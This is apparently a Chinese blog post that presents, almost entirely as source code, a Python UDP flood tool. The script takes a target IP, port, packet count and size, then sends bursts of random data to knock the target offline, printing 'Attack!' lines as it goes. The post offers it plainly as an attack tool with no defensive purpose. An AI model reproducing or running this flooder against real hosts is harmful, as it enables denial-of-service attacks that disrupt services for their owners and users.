Python编写DOS工具

如何用python写一个UDPDOS攻击工具？

废话不多说，上源码！

#!/bin/python3
import threading
import socket
import time
import random
import sys
def logo ():
    print (" _   _ ____  ____   _  _____ _____  _    ____ _  __")
    print ("| | | |  _ \|  _ \ / \|_   _|_   _|/ \  / ___| |/ /")
    print ("| | | | | | | |_) / _ \ | |   | | / _ \| |   | ' /")
    print ("| |_| | |_| |  __/ ___ \| |   | |/ ___ \ |___| . \ ")
    print (" \___/|____/|_| /_/   \_\_|   |_/_/   \_\____|_|\_\ ")
    print ("\n [-]请填写足够运行的参数: python3",sys.argv[0]," [ip] [port] [len] [max]\n\n----作者:ms9944")
class udpattack():
    def start(ip,port,len,max):
        try:
            attack = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
            address = (str(ip), port)
            ipaddr = (ip, port)
            l = 1
            while l <= len:
                attack.sendto(random._urandom(1024 * max), ipaddr)
                print(" Attack!==>ip:", ip,"==>port:", str(port)," ==>", str(len), "s==>max" , str(max))
                l = l + 1
        except KeyboardInterrupt:
            print ("攻击停止......")
if __name__ == "__main__":
    if len(sys.argv)!= 5:
        logo()
    else:
         udpattack.start(sys.argv[1],int(sys.argv[2]),int(sys.argv[3]),int(sys.argv[4]))
